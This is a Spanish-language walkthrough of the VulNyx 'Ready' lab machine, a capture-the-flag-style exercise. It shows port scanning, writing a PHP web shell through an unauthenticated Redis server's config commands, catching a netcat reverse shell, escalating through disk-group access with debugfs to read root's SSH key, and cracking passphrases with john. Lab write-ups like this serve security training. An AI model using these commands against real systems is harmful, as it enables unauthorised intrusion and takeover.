VulNyx - Ready
- Redis RCE
- Brute Force Rsa Key
- Brute Force Zip
- Group Disk
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.13
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6379/tcp open redis
8080/tcp open http-proxy
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,6379,8080 192.168.1.13
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
| 256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_ 256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open redis Redis key-value store 6.0.16
8080/tcp open http Apache httpd 2.4.54 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works
HTTP TCP - 80 | 8080
Redis TCP - 6379
Me conecto al servidor mediante la herramienta redis-cli.
❯ redis-cli -h 192.168.1.13
192.168.1.13:6379>
Con info puedo ver una lista detallada del servidor.
192.168.1.13:6379> info
# Server
redis_version:6.0.16
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:6d95e1af3a2c082a
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:380
run_id:6672a331bccc173e6c8cd7a531d60b0e3091fd7e
tcp_port:6379
uptime_in_seconds:2364
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:16186469
executable:/usr/bin/redis-server
config_file:
io_threads_active:0
Para conseguir un RCE necesito conocer el directorio web, por lo que puedo asumir que será /var/www/html
ya que es la ruta predeterminada de apache.
192.168.1.13:6379> config set dir /var/www/html
OK
Creo el archivo shell.php
.
192.168.1.13:6379> config set dbfilename shell.php
OK
Añado el contenido al archivo shell.php
.
192.168.1.13:6379> set shell "<?php system($_GET['c']); ?>"
OK
Guardo los cambios.
192.168.1.13:6379> save
OK
Visito el puerto 80 pero no hay nada.
Compruebo el puerto 8080 y aquí es donde esta la shell.php
.
Como puedo ejecutar comandos lanzo un netcat para entablarme una reverse shell.
Obtengo la shell.
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.13] 40272
id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
Realizo el tratamiento de la tty.
script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset xterm
export SHELL=bash
export TERM=xterm-256color
source /etc/skel/.bashrc
stty rows 50 columns 200
Enumero permisos de sudo pero es un rabbit hole
.
ben@ready:/home/ben$ sudo -l
Matching Defaults entries for ben on ready:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ben may run the following commands on ready:
(peter) NOPASSWD: /usr/bin/bash
PRIVESC
Enumerando el sistema veo que ben forma parte del grupo disk.
ben@ready:/home/ben$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
En hacktricks explica como podemos obtener privilegios de root mediante el grupo disk.
Este privilegio es casi equivalente al acceso root ya que puedes acceder a todos los datos dentro de la máquina*.
Con which busco el binario debugfs y luego monto la unidad /dev/sda1
.
Una vez montada la unidad /dev/sda1
puedo leer la llave rsa de root.
Como se puede apreciar la llave rsa esta protegida, así que usaré RSACrack para obtener el passphrase.
Me conecto como root.
❯ ssh root@192.168.1.13 -i root
Enter passphrase for key 'root':
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
root@ready:~#
La flag de root está comprimida en zip y protegia con contraseña.
root@ready:~# ls
root.zip
Descargo el archivo zip a mi máquina y genero un hash con zip2john para encontrar la contraseña.
❯ zip2john root.zip > hashRootZip
ver 2.0 efh 5455 efh 7875 root.zip/root.txt PKZIP Encr: TS_chk, cmplen=43, decmplen=32, crc=68F3F801 ts=91CA cs=91ca type=8
Encuentro la contraseña para poder descomprimir la flag.
❯ john hashRootZip --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
a*****y (root.zip/root.txt)
Decomprimo el archivo y finalmente obtengo la flag de root.
❯ unzip root.zip
Archive: root.zip
[root.zip] root.txt password:
inflating: root.txt
Y con esto ya tenemos resuelta la máquina Ready.
Saludos!